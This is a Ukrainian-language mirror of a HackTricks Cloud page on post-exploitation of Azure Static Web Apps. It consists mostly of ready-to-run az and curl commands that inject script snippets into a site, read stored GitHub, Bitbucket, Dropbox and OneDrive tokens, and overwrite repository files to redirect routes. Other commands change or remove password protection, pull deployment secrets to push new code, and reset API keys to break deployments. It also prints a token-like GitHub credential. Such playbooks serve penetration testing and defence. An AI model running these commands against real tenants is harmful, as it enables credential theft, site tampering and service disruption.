mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-01-15 14:23:16 -08:00
163 lines
9.7 KiB
Markdown
163 lines
9.7 KiB
Markdown
# Az - Static Web Apps Post Exploitation
|
||
|
||
{{#include ../../../banners/hacktricks-training.md}}
|
||
|
||
## Azure Static Web Apps
|
||
|
||
Для отримання додаткової інформації про цю службу перегляньте:
|
||
|
||
{{#ref}}
|
||
../az-services/az-static-web-apps.md
|
||
{{#endref}}
|
||
|
||
### Microsoft.Web/staticSites/snippets/write
|
||
|
||
Можливо змусити статичну веб-сторінку завантажувати довільний HTML-код, створивши фрагмент. Це може дозволити зловмиснику впровадити JS-код у веб-додаток і вкрасти чутливу інформацію, таку як облікові дані або мнемонічні ключі (в гаманцях web3).
|
||
|
||
Наступна команда створює фрагмент, який завжди буде завантажуватися веб-додатком::
|
||
```bash
|
||
az rest \
|
||
--method PUT \
|
||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
|
||
--headers "Content-Type=application/json" \
|
||
--body '{
|
||
"properties": {
|
||
"name": "supersnippet",
|
||
"location": "Body",
|
||
"applicableEnvironmentsMode": "AllEnvironments",
|
||
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
|
||
"environments": [],
|
||
"insertBottom": false
|
||
}
|
||
}'
|
||
```
|
||
### Читання налаштованих облікових даних третьої сторони
|
||
|
||
Як пояснено в розділі App Service:
|
||
|
||
{{#ref}}
|
||
../az-privilege-escalation/az-app-services-privesc.md
|
||
{{#endref}}
|
||
|
||
Запустивши наступну команду, можна **прочитати облікові дані третьої сторони**, налаштовані в поточному обліковому записі. Зверніть увагу, що якщо, наприклад, деякі облікові дані Github налаштовані в іншому користувачеві, ви не зможете отримати токен з іншого.
|
||
```bash
|
||
az rest --method GET \
|
||
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
|
||
```
|
||
Ця команда повертає токени для Github, Bitbucket, Dropbox та OneDrive.
|
||
|
||
Ось кілька прикладів команд для перевірки токенів:
|
||
```bash
|
||
# GitHub – List Repositories
|
||
curl -H "Authorization: token <token>" \
|
||
-H "Accept: application/vnd.github.v3+json" \
|
||
https://api.github.com/user/repos
|
||
|
||
# Bitbucket – List Repositories
|
||
curl -H "Authorization: Bearer <token>" \
|
||
-H "Accept: application/json" \
|
||
https://api.bitbucket.org/2.0/repositories
|
||
|
||
# Dropbox – List Files in Root Folder
|
||
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
|
||
-H "Authorization: Bearer <token>" \
|
||
-H "Content-Type: application/json" \
|
||
--data '{"path": ""}'
|
||
|
||
# OneDrive – List Files in Root Folder
|
||
curl -H "Authorization: Bearer <token>" \
|
||
-H "Accept: application/json" \
|
||
https://graph.microsoft.com/v1.0/me/drive/root/children
|
||
```
|
||
### Перезаписати файл - Перезаписати маршрути, HTML, JS...
|
||
|
||
Можливо **перезаписати файл у репозиторії Github**, що містить додаток через Azure, маючи **токен Github**, надіславши запит, подібний до наступного, який вказуватиме шлях до файлу для перезапису, вміст файлу та повідомлення про коміт.
|
||
|
||
Це може бути використано зловмисниками для того, щоб в основному **змінити вміст веб-додатку** для надання шкідливого контенту (викрадення облікових даних, мнемонічних ключів...) або просто для **перенаправлення певних шляхів** на свої власні сервери, перезаписуючи файл `staticwebapp.config.json`.
|
||
|
||
> [!WARNING]
|
||
> Зверніть увагу, що якщо зловмисник зможе скомпрометувати репозиторій Github будь-яким чином, він також зможе перезаписати файл безпосередньо з Github.
|
||
```bash
|
||
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
|
||
-H "Content-Type: application/json" \
|
||
-d '{
|
||
"commit": {
|
||
"message": "Update static web app route configuration",
|
||
"branchName": "main",
|
||
"committer": {
|
||
"name": "Azure App Service",
|
||
"email": "donotreply@microsoft.com"
|
||
},
|
||
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
|
||
"filePath": "staticwebapp.config.json",
|
||
"message": "Update static web app route configuration",
|
||
"repoName": "carlospolop/my-first-static-web-app",
|
||
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
|
||
},
|
||
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
|
||
}'
|
||
```
|
||
### Microsoft.Web/staticSites/config/write
|
||
|
||
З цією дозволом можливо **змінити пароль**, що захищає статичний веб-додаток, або навіть зняти захист з кожного середовища, надіславши запит, подібний до наступного:
|
||
```bash
|
||
# Change password
|
||
az rest --method put \
|
||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||
--headers 'Content-Type=application/json' \
|
||
--body '{
|
||
"name": "basicAuth",
|
||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||
"properties": {
|
||
"password": "SuperPassword123.",
|
||
"secretUrl": "",
|
||
"applicableEnvironmentsMode": "AllEnvironments"
|
||
}
|
||
}'
|
||
|
||
# Remove the need of a password
|
||
az rest --method put \
|
||
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
|
||
--headers 'Content-Type=application/json' \
|
||
--body '{
|
||
"name": "basicAuth",
|
||
"type": "Microsoft.Web/staticSites/basicAuth",
|
||
"properties": {
|
||
"secretUrl": "",
|
||
"applicableEnvironmentsMode": "SpecifiedEnvironments",
|
||
"secretState": "None"
|
||
}
|
||
}'
|
||
```
|
||
### Microsoft.Web/staticSites/listSecrets/action
|
||
|
||
Ця дозволяє отримати **токен ключа API для розгортання** статичного додатку.
|
||
|
||
Цей токен дозволяє розгортати додаток.
|
||
```bash
|
||
az rest --method POST \
|
||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
|
||
```
|
||
Тоді, щоб оновити додаток, ви можете виконати наступну команду. Зверніть увагу, що ця команда була отримана, перевіряючи **як працює Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy)**, оскільки це те, що Azure встановив за замовчуванням. Тому зображення та параметри можуть змінитися в майбутньому.
|
||
|
||
1. Завантажте репозиторій [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (або будь-який інший репозиторій, який ви хочете розгорнути) і виконайте `cd react-basic`.
|
||
2. Змініть код, який ви хочете розгорнути
|
||
3. Розгорніть його, виконавши (не забудьте змінити `<api-token>`):
|
||
```bash
|
||
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
|
||
```
|
||
### Microsoft.Web/staticSites/write
|
||
|
||
З цією дозволом можливо **змінити джерело статичного веб-додатку на інший репозиторій Github**, однак, він не буде автоматично наданий, оскільки це потрібно робити з Github Action, зазвичай з токеном, який авторизував дію, оскільки цей токен не оновлюється автоматично в секретах Githb репозиторію (він просто додається автоматично, коли додаток створюється).
|
||
```bash
|
||
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
|
||
```
|
||
### Microsoft.Web/staticSites/resetapikey/action
|
||
|
||
З цією дозволом можливо **скинути API-ключ статичного веб-додатку**, потенційно викликавши DoS-атаки на робочі процеси, які автоматично розгортають додаток.
|
||
```bash
|
||
az rest --method POST \
|
||
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
|
||
```
|
||
{{#include ../../../banners/hacktricks-training.md}}
|